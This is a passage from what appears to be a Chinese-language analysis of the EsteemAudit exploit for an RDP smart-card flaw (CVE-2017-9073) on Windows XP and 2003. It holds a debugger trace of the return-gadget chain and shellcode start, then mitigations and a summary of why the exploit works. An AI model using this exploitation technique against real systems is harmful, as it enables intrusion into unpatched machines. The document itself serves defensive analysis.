0800bedd94xchgeax,esp 0:011>t eax=02dfe3c4ebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=0800bedeesp=080190dcebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!funcCheck+0x12a: 0800bedec3ret 0:011>t eax=02dfe3c4ebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=08011e7aesp=080190e0ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!MyCPSignHash+0x3ac: 08011e7ac21c00ret1Ch 0:011>t eax=02dfe3c4ebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=0801118eesp=08019100ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!MyCPImportKey+0xac3: 0801118ec21800ret18h 0:011>t eax=02dfe3c4ebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=08011fefesp=0801911cebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!__report_gsfailure+0xdf: 08011fefc3ret 0:011>t eax=02dfe3c4ebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=080128ccesp=08019120ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!CC_Exit+0x4f: 080128cc58popeax 0:011>t eax=0000008febx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=080128cdesp=08019124ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!CC_Exit+0x50: 080128cd5bpopebx 0:011>t eax=0000008febx=7ffe0300ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=080128ceesp=08019128ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!CC_Exit+0x51: 080128cec3ret 0:011>t eax=0000008febx=7ffe0300ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=08015074esp=0801912cebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!CC_Exit+0x27f7: 08015074ff23jmpdwordptr[ebx]ds:0023:7ffe0300={ntdll!KiFastSystemCall(7c9585e8)} Shellcodestart: Nopriordisassemblypossible 08019148b004moval,4 0801914a648b00moveax,dwordptrfs:[eax] 0801914d2d00060000subeax,600h 0801915289c4movesp,eax 0801915489c6movesi,eax 08019156e800000000callgpkcsp!IsProgButtonClick+0x8f(0801915b) 0801915b90nop 0801915c5dpopebp 0801915d8b85d5000000moveax,dwordptr[ebp+0D5h] 08019163894604movdwordptr[esi+4],eax 080191668b85d9000000moveax,dwordptr[ebp+0D9h] 0801916c89460cmovdwordptr[esi+0Ch],eax 0801916f31c0xoreax,eax 08019171894610movdwordptr[esi+10h],eax 08019174894614movdwordptr[esi+14h],eax 080191778b85dd000000moveax,dwordptr[ebp+0DDh] 0801917d8b00moveax,dwordptr[eax] 0801917f8b80bc000000moveax,dwordptr[eax+0BCh] 08019185894618movdwordptr[esi+18h],eax 080191888b85e1000000moveax,dwordptr[ebp+0E1h] 0801918e8b00moveax,dwordptr[eax] 0801919089461cmovdwordptr[esi+1Ch],eax 080191938b85e5000000moveax,dwordptr[ebp+0E5h] 080191998b00moveax,dwordptr[eax] 0801919b894620movdwordptr[esi+20h],eax 0801919e8b460cmoveax,dwordptr[esi+0Ch] 080191a1894628movdwordptr[esi+28h],eax 080191a431c0xoreax,eax 080191a689462cmovdwordptr[esi+2Ch],eax 080191a9e8b5000000callgpkcsp!IsProgButtonClick+0x197(08019263) … 0:011>!address08019148 FailedtomapHeaps(error80004005) Usage:Image AllocationBase:08000000 BaseAddress:08019000 EndAddress:0801e000 RegionSize:00005000 Type:01000000MEM_IMAGE State:00001000MEM_COMMIT Protect:00000040PAGE_EXECUTE_READWRITE Moreinfo:lmvmgpkcsp Moreinfo:!lmigpkcsp Moreinfo:ln0x8019148

检测和暂时缓解措施

CVE-2017-9073仅存在Windows XP和Windows 2003上，且这两个系统不再收到微软的支持。所以用户应该在第一时间升级到最新版的Windows系统。由于漏洞出现在RDP的智能卡模块，所以以下措施也可以暂时缓解漏洞：

在组策略中关闭智能卡模块

在注册表中关闭智能卡模块。在路径HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\下增加或者设置键值0，类型为REG_DWORD

关闭或者限制外接的RDP访问请求

总结

RDP是Windows上非常有用且非常复杂的模块。基于我们对EsteemAudit的分析，这个漏洞本身并不难发现。不过难点在如何进行成功的利用。有趣的是gpkcsp选择了一个全局变量来存储客户端发来的原始数据，这样可以使攻击者在没有ASLR的情况下在一个固定的已知地址部署完全可控的数据。利用工具的作者利用了这个特性完成了exploit。EsteemAudit是一个在Windows XP和Windows 2003上的利用工具。用户需要在类似于WanaCryp0t有蠕虫行为的病毒利用这个工具进行大规模传播前前，进行XP和2003系统的暂时缓解措施避免财产损失。